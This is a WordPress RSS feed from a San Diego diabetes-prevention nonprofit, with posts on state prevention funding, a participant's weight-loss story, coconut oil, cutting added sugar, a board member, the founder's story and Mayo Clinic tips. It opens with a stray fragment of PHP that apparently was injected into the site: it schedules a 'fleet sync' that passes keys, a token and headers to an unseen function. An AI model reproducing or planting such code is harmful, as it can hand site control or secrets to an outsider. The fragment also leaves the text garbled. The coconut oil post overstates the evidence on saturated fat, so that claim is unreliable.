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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); prevention – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Mon, 03 Nov 2025 09:52:54 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp prevention – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Medical https://skinnygeneprojectnew.dreamsites.io/medical/ https://skinnygeneprojectnew.dreamsites.io/medical/#respond Wed, 16 Aug 2017 16:13:39 +0000 https://www.skinnygeneproject.org/?p=5178 California is facing a diabetic crisis, with 55% of adults and 23% of teens having type 2 diabetes or prediabetes. The problem is growing, with 1.9 million Californians expected to be diagnosed with diabetes in the next 5 years – along with an expected 15 billion extra healthcare costs. Last week, however, California took huge steps in the fight against diabetes. $5 million has been designated for diabetes prevention programs across the state, with coverage through Medicaid starting in 2018. This is great news for us at Skinny Gene, as the DPP is the core focus of what we do in the community. The bill, SB 97, is made with the expectation of another $8 million to be matched by the federal government in the coming years. Together, this $13 million is expected to save Californians $45 million a year that would have been associated with the immediate costs of diabetes. The important part about prevention is that besides the health benefits, the costs associated with it compared to treatment are substantially lower.

The acknowledgment and legislative commitment shown by California puts it in league with only two other states, Minnesota and Montana, as states that provide diabetes prevention programs as a Medicaid benefit. Daniel Zingale, senior vice president at the California Endowment, said, “What’s revolutionary about this change is that it finally starts to recognize that by investing modest amounts on the front end on prevention, we can save enormous amounts in the long term”. This change helps Skinny Gene to continue doing what we have been doing, and will allow roughly 25,000 prediabetics to receive DPP care every year through their insurance. The only requirements to benefit from this bill is to be overweight and have high blood sugar levels, so that the ones who receive care are those who need it most.

Designs By: Courteney Lisowski

]]> https://skinnygeneprojectnew.dreamsites.io/medical/feed/ 0 Frieda – Spotlight Story https://skinnygeneprojectnew.dreamsites.io/frieda-spotlight-story/ https://skinnygeneprojectnew.dreamsites.io/frieda-spotlight-story/#respond Thu, 10 Aug 2017 01:59:56 +0000 https://www.skinnygeneproject.org/?p=5126      The DPP (Diabetes Prevention Program) that we offer at Skinny Gene has a couple of main goals, among them being that the participants lead a healthy lifestyle that allows them to prevent type 2 diabetes. One of the key benchmarks to this success is the 5% rule – if you lose 5% of your body weight, you are statistically proven to have a 58% lower rate of diabetes and it continues to drop with your weight. Making into the “5% club” is a huge deal for us, and we caught up with a member of this group, Frieda, who has used the DPP to seriously curb her diabetes risk.

     Before the DPP, Frieda had very little awareness of the nutrition and impact that it had on her body. She had no energy, didn’t exercise, had joint pains, had consistent mood swings, and “felt quite hopeless about losing weight”. Despite the rough position Frieda was in, she took it upon herself to sign up for one of our DPP classes and soon started seeing a difference. One of the key differences that Frieda saw with the DPP compared to other ways that she had tried to change her unhealthy lifestyle was the commitment. Her prevention experience was an entire year long, with meetings going from weekly to monthly as the program progressed. This reliable, safe place allowed Frieda to find her own success.

“Lifestyle changes just don’t happen overnight, weight doesn’t come off in a flash, and exercise habits take a long time to establish.  Being able to have a framework for a year meant the stage was set for me to succeed.”

     The DPP was also something that Frieda genuinely enjoyed, and that is due to the instructors and impressive group support provided. Frieda’s instructor would email her between classes and go over plans before trips out of town, which really gave her the support and extra push she needed to change her habits. The group in which Frieda worked with was incredibly diverse, with some fitness nuts, others who hated running, as well as people who were short, tall, fat, or skinny. This environment allowed the DPP meetings to become an enjoyable social gathering, creating a place where sticking to a meal or exercise regimen much easier with the support of colleagues going through the same thing right along with you. We are proud to congratulate Frieda on not only reaching the 5% goal, but reaching all the way to 10% below her initial starting weight! Her commitment took her to a much healthier place, and SGP could not be more proud. Just like Frieda felt in the beginning, you may feel discouraged and hopeless, but take her advice and give the DPP a shot, chances are you could change your life and meet some great people in the process.

Designs By: Courteney Lisowski

]]> https://skinnygeneprojectnew.dreamsites.io/frieda-spotlight-story/feed/ 0 Coconut Oil https://skinnygeneprojectnew.dreamsites.io/coconut-oil/ https://skinnygeneprojectnew.dreamsites.io/coconut-oil/#respond Thu, 03 Aug 2017 22:26:35 +0000 https://www.skinnygeneproject.org/?p=5107 As far as food fads go, the past couple of years have stuffed us full, with healthy trends such as acai bowls and avocado toast having massive surges in popularity. One of the most popular food fads that is gaining traction today is coconut oil, either as a cosmetic product or as a dietary supplement. It finds itself as a substitute for olive or canola oil in cooking, as well as an appetite depressant with potential therapeutic effects. With its distinctive flavor and versatile utility around the home, it’s no surprise that coconut oil has received the popularity it has in recent times. The legitimate health benefits of coconut oil are still to be decided, however, as some studies show real promise in health, such a 2006 study that saw the fatty acids present in coconut oil, ketones, boost brain function in Alzheimer’s patients. Despite growing popularity and an increased focus with medical studies, there still seems to be hesitation on advocating for coconut oil from major organizations such as the American Diabetes Association. This is due to the high amount of saturated fat contained in coconut oil, which has been linked to higher rates of diabetes and heart attacks. Despite this, a scientific consensus has not been reached, and everyone still wants to know the answer: Is coconut oil actually good for you?

One of the most optimistic viewpoints on coconut oil comes from some recent studies that have concluded that saturated fat, the main health hazard in coconut oil, is mostly harmless. Several studies since 2015 have eliminated the connection between saturated fat and heart disease, although they are too preliminary for major organizations like the American Diabetes Association to pick up. On top of that, the saturated fat that is in coconut oil is a medium length triglyceride, meaning it is metabolized differently from more common, longer length fats. This different length is the cause of coconut oil’s therapeutic effects on several brain disorders. Its specific length allows coconut oil to have even more benefits, such as helping you burn more fat and calories, as well as curbing your appetite and even lowering blood cholesterol levels.

Coconut oil has a lot of potential, but the most important obstacle in its way is the lack of real research done about it. Without the time and numbers behind consumption of coconut oil, doctors recommend that you limit yourself to about a tablespoon a day before more studies are done to legitimize it as a true healthy food. While this oil may find its way into many households nowadays, stay informed, limit your consumption, and know the real risks and benefits here with us at Skinny Gene.

 

Designs by: Courteney Lisowski

]]> https://skinnygeneprojectnew.dreamsites.io/coconut-oil/feed/ 0 Sugar in your Cupboard https://skinnygeneprojectnew.dreamsites.io/sugar-in-your-cupboard/ https://skinnygeneprojectnew.dreamsites.io/sugar-in-your-cupboard/#respond Wed, 02 Aug 2017 18:21:42 +0000 https://www.skinnygeneproject.org/?p=5064 Gazing into my cupboard today I was overwhelmed. I am specifically looking to rid my pantry and refrigerator of excess sugar. The natural sugar, like the raisins in my cereal can stay. The bag of “yogurt” covered pretzels, I’m not so sure about. This is where I need think about the difference between naturally occurring sugars and added sugars. Fruit, dried fruit, milk and grains have natural sugars that are not a danger to your health. Fructose, sucrose, dextrose and corn syrup are just some of the added sugars found on ingredient lists. These should be limited in our diet to prevent health problems like diabetes, heart disease and tooth decay.  How do we know how much is too much? So, for me and the other ladies 6 Teaspoons sugar is the daily max. Gents, you get 9 Teaspoons and the kids get 4 Teaspoons. Each teaspoon equals approximately 4 grams of sugar. How do we use this information to make healthier food choices? Let’s take those yogurt pretzels and make an example out of them, here’s the math:

If I was to eat a serving, and we all know that NO ONE eats just one serving, I would be more than halfway through my daily allotment. This indicates to me that this product is too high in added sugars, to be considered a healthy snack. Into the garbage pail it goes.

Is this wasteful? No, if it stays around I will be tempted to eat some, probably more than a handful even.  They have nothing of value to offer me except a blood sugar spike and a queasy stomach.

VS.

Here is a challenge for you: Practice at a sugar purge. Go in your cupboard and find a food with about the same amount of added sugar as my yogurt covered pretzels and toss it mercilessly.  Practice regularly until you feel you are ready to do a complete kitchen sugar purge. If you feel inspired to do the whole thing now, you have my blessing. Whatever you choose to do let me know about it. I want all the details. What food was it? How many grams of sugar? Was it a full purge or a trial run?

 

Photography by: Samantha Combs

]]> https://skinnygeneprojectnew.dreamsites.io/sugar-in-your-cupboard/feed/ 0 Dr. Aarti Ivanic https://skinnygeneprojectnew.dreamsites.io/dr-aarti-ivanic/ https://skinnygeneprojectnew.dreamsites.io/dr-aarti-ivanic/#respond Wed, 12 Jul 2017 23:17:11 +0000 https://www.skinnygeneproject.org/?p=5002 Dr. Aarti Ivanic is an associate professor of marketing at the University of San Diego’s school of business and a board member at the Skinny Gene Project. For the past 4 years her work has been involved with how marketing and nutrition interact in order to figure out how to make people from all different ethnic, racial and socio-economic groups make better decisions about the food and drink they consume. Her goal is to tackle the major problems with nutrition in order to make an impactful change in the world using her education in marketing.

As a self-proclaimed “date driven person”, Dr. Ivanic uses marketing analytics, statistics and experimental research to come to a general understanding of what influences an individual’s nutritional choices. In her line of research, Dr. Ivanic wants to understand “through a marketing lens, what can firms do in order to help people make better food choices”, while understanding the nuances of race and ethnicity and how they affect those choices.

Her work undermines misconceptions about marketing as simply a creative and ad driven field, stressing the importance of data and numbers for successful marketing projects.

At the very heart of Dr. Ivanic’s research is the concept of empowerment. She says that “when people feel empowered, they tend to make good decisions”. Her aim is to understand how marketers can empower people to make better nutritional choices by instilling affirmation and confidence. In her experimental research she asks subjects to reflect on their race and ethnicity in order to come to an understanding of whether or not they feel empowered with the necessary tools to make these decisions or not. She also gauges “nutritional literacy” in these groups in order to understand where there is a lack of knowledge and information about nutrition which could ultimately empower or disempower specific subgroups of individuals.

Dr. Ivanic chose to become a board member at the Skinny Gene Project because her professional and personal goal of empowerment aligns with the organization’s. Both the Skinny Gene Project’s work and Dr. Ivanic’s research take into consideration how race and ethnicity are two imperative factors for making sweeping changes in nutrition, health and diabetes.

Dr. Ivanic was recently tenured at USD, and hopes that this opportunity will give her time to work even harder on her research and projects. In the near future she hopes to focus her research on epilepsy and stigma, ultimately hoping to understand how social issues and disease are intertwined.

Photography by: Samantha Combs

]]> https://skinnygeneprojectnew.dreamsites.io/dr-aarti-ivanic/feed/ 0 MY STORY: NEW BEGINNING https://skinnygeneprojectnew.dreamsites.io/my-story-new-beginning/ https://skinnygeneprojectnew.dreamsites.io/my-story-new-beginning/#respond Wed, 27 Apr 2011 18:47:56 +0000 http://skinnygeneproject.dreamhosters.com/?p=1190 This is a continuation of “My Story“, my life’s journey towards becoming who I am today.  Since it is rather long, I have broken it into sections(below) so you can read it at your leisure. Each step along the way has had its own particular relevance to me today. This is the FOURTH. Please click here to read:

The first section -My Story

The second section- The Catalyst

The third section-My Motivation

NEW BEGINNING- the REAL “WHY”

As I mentioned, my story has 3 parts. The one I have yet to mention is the Beginning, the WHY?

When I shared my story with the kind stranger in Union Square, I spoke about my Aunt Gloria and my need to protect my daughter from diabetes. But I knew something was missing from my answer, I just didn’t know what it was.

I thought about it as I walked back from Union Square to my hotel and wondered, “had I not answered the question? If I did, why did it feel so incomplete?” That’s when it occurred to me. I had explained how diabetes affected my family, and how prevention is being lived out in my life, but it doesn’t explain why I have the need to help others. 

WHY make the personal and financial sacrifices to start a non-profit organization to help others? Following my dream has not been easy on my family. I have been asked by numerous people why I don’t just quit and go get a corporate job; one that would be less stressful and would provide more for my family financially.

Photo by Gabriela Camerotti

Here’s the thing… sometimes you just have to follow your heart. My heart leads me to help others, because I have been on the receiving end before.

I know what it is like be in a bad situation and want desperately for someone to come save you from someone else or from yourself.

The answer to the WHY is this:  I have had my life threatened before, which has led me to want to help anyone who desperately wants the opportunity to fend off a disease that  may threaten their life. 

I believe that everyday a tragedy occurs. A person finds the strength and courage to free themselves from  a bad situation long enough to ask for help, only to be turned away and forced back into the bad situation from which they left.

I started a non-profit organization that would not just educate people, but would empower them to take control of their lives.  With support and guidance, they’re able to start a new chapter in their own life.  One in which they will be a co-author.

I am a Christian. I believe that God gives us both rainbows and rainstorms. I have definitely had my fair share of storms.

When I was 8 yrs old, a rare disease attacked my brain, taking my eye sight (in my left eye) and threatened to take my life.  I have been the target of a random act of violence and a sexual assault.  I lost many people I love, including one whose life was just beginning.

My life experiences could have pointed me towards food or other addictions. I could have easily “swapped chapters” with many of the people we serve.

The difference between my story, in which I’ve chosen to get better not bitter, and find strength out of sorrow, is that I have very loving and supportive family and friends.

Many of the people we serve don’t have a support system to help them to wade through the storm and look to the horizon for the next rainbow.

BLANK SLATE

As I mentioned in the beginning of my story, I left my conversation with the stranger in Union Square with a new opportunity; a blank slate on which I can write the next scene in my life and put it into motion.

Photo by Dougit Designs

My hope with the Skinny Gene Project has always been to give people the opportunity to live a better life.  My experiences have helped me to understand the importance of treating the person, not just the disease.  I believe we have to uplift the person if we want to defeat diabetes.

For this reason, the next chapter of my life will be a push to integrate a patient advocacy program into our organization. I want to provide prediabetes support groups and counseling that address the emotional and financial stressor that contributes to unhealthy eating.

God has given me a heart to help others. Making healthy lifestyle changes shouldn’t be about just making healthier food choices, but also about choosing to love oneself enough to truly live life.

I hope at the end, each person we touch will have the desire to pick up their pen and write a new beginning, a healthy story, into their life.

]]> https://skinnygeneprojectnew.dreamsites.io/my-story-new-beginning/feed/ 0 Diabetes Prevention: 5 Tips for Taking Control https://skinnygeneprojectnew.dreamsites.io/diabetes-preventioin-5-tips-for-taking-control/ https://skinnygeneprojectnew.dreamsites.io/diabetes-preventioin-5-tips-for-taking-control/#respond Tue, 28 Sep 2010 17:22:32 +0000 http://skinnygene.wordpress.com/?p=662 The MayoClinic posted a great article which includes 5 tips for preventing diabetes. We couldn’t have said it better 🙂

If you have additional questions about how you can prevent diabetes or would like some help making positive lifestyle changes in your life, we would like the opportunity to speak with you! To contact us, please CLICK HERE!

[Skinny Gene Project is a 501(c)(3) non-profit organization that helps others make positive lifestyle change to prevent the further development of type 2 diabetes.]

Diabetes prevention: 5 tips for taking control

Tweaking your lifestyle could be a big step toward diabetes prevention — and it’s never too late to start. Consider these tips.

By Mayo Clinic staff

When it comes to type 2 diabetes — the most common type of diabetes — prevention is a big deal. It’s especially important to make diabetes prevention a priority if you’re at increased risk of diabetes, for example, if you’re overweight or have a family history of the disease. In the United States alone, experts at the Centers for Disease Control and Prevention expect diabetes to affect more than 48 million people by 2050.

Tweaking your lifestyle could be a big step toward diabetes prevention — and it’s never too late to start. Diabetes prevention is as basic as losing extra weight and eating more healthfully. Consider the latest diabetes prevention tips from the American Diabetes Association.

Tip 1: Get more physical activity

There are many benefits to regular physical activity. It can help you lose weight but even if it doesn’t, it’s still important to get off the couch. Whether you lose weight or not, physical activity lowers blood sugar and boosts your sensitivity to insulin — which helps keep your blood sugar within a normal range.

Research shows that both aerobic exercise and resistance training can help control diabetes, but the greatest benefits come from a fitness program that includes both.

Tip 2: Get plenty of fiber

It’s rough, it’s tough — and it may reduce the risk of diabetes by improving your blood sugar control. Fiber intake is also associated with a lower risk of heart disease. It may even promote weight loss by helping you feel full. Foods high in fiber include fruits, vegetables, beans, whole grains, nuts and seeds.

Tip 3: Go for whole grains

Although it’s not clear why, whole grains may reduce your risk of diabetes and help maintain blood sugar levels. Try to make at least half your grains whole grains. Many foods made from whole grains come ready to eat, including various breads, pasta products and ready-to-eat cereals. Look for the word “whole” on the package and among the first few items in the ingredient list.

Tip 4: Lose extra weight

If you’re overweight, diabetes prevention may hinge on weight loss. Every pound you lose can improve your health. And you may be surprised by how much. In one study, overweight adults who lost a modest amount of weight — 5 percent to 10 percent of initial body weight — and exercised regularly reduced the risk of developing diabetes by 58 percent over three years.

Tip 5: Skip fad diets and make healthier choices

Low-carb, low-glycemic load or other fad diets may help you lose weight at first, but their effectiveness at preventing diabetes isn’t known; nor are their long-term effects. And by excluding or strictly limiting a particular food group, you may be giving up essential nutrients. Instead, think variety and portion control as part of an overall healthy-eating plan.

Make it a team effort

The American Diabetes Association recommends blood glucose screening for everyone age 45 and older who’s overweight. If you’re older than age 45 and at a normal weight, ask your doctor about earlier testing. Also ask your doctor about testing if you’re younger than age 45 and overweight with one or more additional risk factors for type 2 diabetes — such as a sedentary lifestyle or a family history of diabetes.

Also share your concerns about diabetes prevention. Your doctor will applaud your efforts to keep diabetes at bay, and perhaps offer additional suggestions based on your medical history or other factors.

]]> https://skinnygeneprojectnew.dreamsites.io/diabetes-preventioin-5-tips-for-taking-control/feed/ 0 We’ve Been Nominated!! https://skinnygeneprojectnew.dreamsites.io/weve-been-nominated/ https://skinnygeneprojectnew.dreamsites.io/weve-been-nominated/#respond Thu, 04 Mar 2010 03:13:25 +0000 http://skinnygene.wordpress.com/?p=17 The Skinny Gene Project was recently nominated as one of the most influential non-profits in San Diego. 

Please show your support for our mission to prevent diabetes and vote for our organization. VOTE by clicking the up arrow next to Skinny Gene Project (please only vote once!)

WE ARE HONORED

We are honored to be nominated for non-profit of the year, for our use of social media to influence the members of our San Diego community (and beyond) to live a healthier lifestyle and prevent diabetes.

We are a small non-profit organization with a huge message to share. Social media allows us to amplify our voice, so that we can impact as many lives as possible.

Our challenge is to change the way people think and talk about diabetes and diabetes prevention. The face of diabetes prevention is the 21 – 44 year old blogger and microblogger who can take our message of awareness, and the power of prevention, and transform it into a two-way dialogue with our community. Through social media we can provide a forum to share and discuss current health-related news stories, how-to tips, struggles and success stories.

Many of the 57 million Americans with prediabetes, most of whom are unaware that they are at risk of developing diabetes in a few years, struggle with making drastic lifestyle changes. The fear about making big changes can cripple them from making any changes at all. Microblogging (twitter) allows us to give bite-sized, doable actions that are easy to execute, which leads to long-term, sustainable positive lifestyle changes and increases a person’s chance of preventing diabetes.

Using social media we make people the focus of our fight to prevent diabetes. We can expose this Silent Killer and give prevention a voice. 

ABOUT NOMINATION (from #influencesd press release)

San Diego based businesses, bloggers, and brands participating in social media will get an opportunity for local recognition at InfluenceSD (#influenceSD), an awards ceremony celebrating champions of new & real-time media exclusively for San Diego.

Once nominated, local community members can vote their favorite candidates up the list. The top 5 nominees in each category will be announced on March 24th and will advance to the final judging round. The winners will be announced at the event, which will be complete with entertainment and presentations from leaders in the media community.

“We have an exciting opportunity to bring together influential members of our San Diego community and reward the ones that are spreading their message in innovative ways,” says Matt Browne one of the co-founders of #influenceSD.

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